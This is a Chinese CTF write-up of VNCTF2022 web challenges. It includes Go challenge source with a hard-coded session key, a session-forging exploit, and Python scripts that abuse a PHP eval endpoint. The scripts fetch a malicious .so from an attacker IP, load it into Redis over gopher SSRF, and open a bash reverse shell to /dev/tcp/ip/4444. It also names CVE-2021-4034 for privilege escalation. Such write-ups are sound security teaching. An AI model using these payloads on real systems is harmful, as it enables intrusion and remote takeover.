VNCTF2022公开赛(WEB)

GameV4.0

逻辑区js中base64解码

gocalc0

session中base64解码两次

当然这是非预期解,出题人说少写个key

预期

{{.}}

源码:

<!-- wp:paragraph -->
<p>package main<br>import (<br>_ "embed"<br>"fmt"<br>"os"<br>"reflect"<br>"strings"<br>"text/template"</p>
<!-- /wp:paragraph -->

<!-- wp:code -->
<pre class="wp-block-code"><code>"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/maja42/goval"</code></pre>
<!-- /wp:code -->

<!-- wp:paragraph -->
<p>)</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>//go:embed template/index.html<br>var tpl string</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>//go:embed main.go<br>var source string</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>type Eval struct {<br>E string <code>json:"e" form:"e" binding:"required"</code><br>}</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>func (e Eval) Result() (string, error) {<br>eval := goval.NewEvaluator()<br>result, err := eval.Evaluate(e.E, nil, nil)<br>if err != nil {<br>return "", err<br>}<br>t := reflect.ValueOf(result).Type().Kind()</p>
<!-- /wp:paragraph -->

<!-- wp:code -->
<pre class="wp-block-code"><code>if t == reflect.Int {
    return fmt.Sprintf("%d", result.(int)), nil
} else if t == reflect.String {
    return result.(string), nil
} else {
    return "", fmt.Errorf("not valid type")
}</code></pre>
<!-- /wp:code -->

<!-- wp:paragraph -->
<p>}</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>func (e Eval) String() string {<br>res, err := e.Result()<br>if err != nil {<br>fmt.Println(err)<br>res = "invalid"<br>}<br>return fmt.Sprintf("%s = %s", e.E, res)<br>}</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>func render(c *gin.Context) {<br>session := sessions.Default(c)</p>
<!-- /wp:paragraph -->

<!-- wp:code -->
<pre class="wp-block-code"><code>var his string

if session.Get("history") == nil {
    his = ""
} else {
    his = session.Get("history").(string)
}

fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
if err != nil {
    fmt.Println(err)
    c.String(500, "internal error")
    return
}
if err := t.Execute(c.Writer, map&#91;string]string{
    "s0uR3e": source,
}); err != nil {
    fmt.Println(err)
}</code></pre>
<!-- /wp:code -->

<!-- wp:paragraph -->
<p>}</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>func main() {<br>port := os.Getenv("PORT")<br>if port == "" {<br>port = "8080"<br>}</p>
<!-- /wp:paragraph -->

<!-- wp:code -->
<pre class="wp-block-code"><code>r := gin.Default()
store := cookie.NewStore(&#91;]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))

r.GET("/", func(c *gin.Context) {
    render(c)
})

r.GET("/flag", func(c *gin.Context) {
    session := sessions.Default(c)
    session.Set("FLAG", os.Getenv("FLAG"))
    session.Save()
    c.String(200, "flag is in your session")
})

r.POST("/", func(c *gin.Context) {
    session := sessions.Default(c)

    var his string

    if session.Get("history") == nil {
        his = ""
    } else {
        his = session.Get("history").(string)
    }

    eval := Eval{}
    if err := c.ShouldBind(&amp;eval); err == nil {
        his = his + eval.String() + "</code></pre>
<!-- /wp:code -->

EXP:

<!-- wp:paragraph -->
<p>package main</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>import (<br>_ "embed"<br>"fmt"<br>"os"</p>
<!-- /wp:paragraph -->

<!-- wp:code -->
<pre class="wp-block-code"><code>"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"</code></pre>
<!-- /wp:code -->

<!-- wp:paragraph -->
<p>)</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>func main() {<br>port := os.Getenv("PORT")<br>if port == "" {<br>port = "8088"<br>}<br>r := gin.Default()<br>store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))<br>r.Use(sessions.Sessions("session", store))<br>r.GET("/flag", func(c *gin.Context) {<br>session := sessions.Default(c)<br>c.String(200, session.Get("FLAG").(string))<br>})<br>r.Run(fmt.Sprintf(":%s", port))<br>}</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p></p>
<!-- /wp:paragraph -->

newcalc0

我從 DiceCTF 2022 中學到的各種 JS 與前端冷知識 – Huli

console.table([{x:1}], ["__proto__"]);

直接打

再访问/flag

InterestingPHP

打印下当前目录

发现有个secret.rdb

image-20220309114809613

读取一下

得到redis密码

img

写恶意的so文件

import requests

url = "http://8b8a5aca-31d0-41aa-a960-a74ca594f377.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
headers = {"content-type": "application/x-www-form-urlencoded"}
pay = "http://ip/exp.so"
payload = '''
    function Curl($url) {
          $ch = curl_init();
          curl_setopt($ch, CURLOPT_URL, $url);
          curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
          $result = curl_exec($ch);

          curl_close($ch);
          file_put_contents("exp.so",$result);
    }

    Curl("''' + pay + '''");
'''.strip()

data = {
   0: payload
}
r = requests.post(url, data, headers=headers).text
print(r)

命令执行

img

反弹shell

import requests
from urllib import parse

url = "http://8b8a5aca-31d0-41aa-a960-a74ca594f377.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
headers = {"content-type": "application/x-www-form-urlencoded"}

pay = """auth ye_w4nt_a_gir1fri3nd
module load ./exp.so
system.exec 'bash -c "bash -i >& /dev/tcp/ip/4444 0>&1"'
quit
""".replace('\n', '\r\n')

payload = '''
    function Curl($url) {
          $ch = curl_init();
          curl_setopt($ch, CURLOPT_URL, $url);
          curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
          $result = curl_exec($ch);
          curl_close($ch);
          if($result!=''){
          echo $result;
          }

      }
      Curl("gopher://127.0.0.1:8888/_''' + parse.quote(pay) + '''");
      '''

data = {
   0: payload
}

r = requests.post(url, data=data, headers=headers).text
print(r)

这里没有权限读取flag,但是找到一个本地提权

之前复现过

CVE-2021-4034

把poc上传至服务器

加载

image-20220309221437104

发表评论

您的电子邮箱地址不会被公开。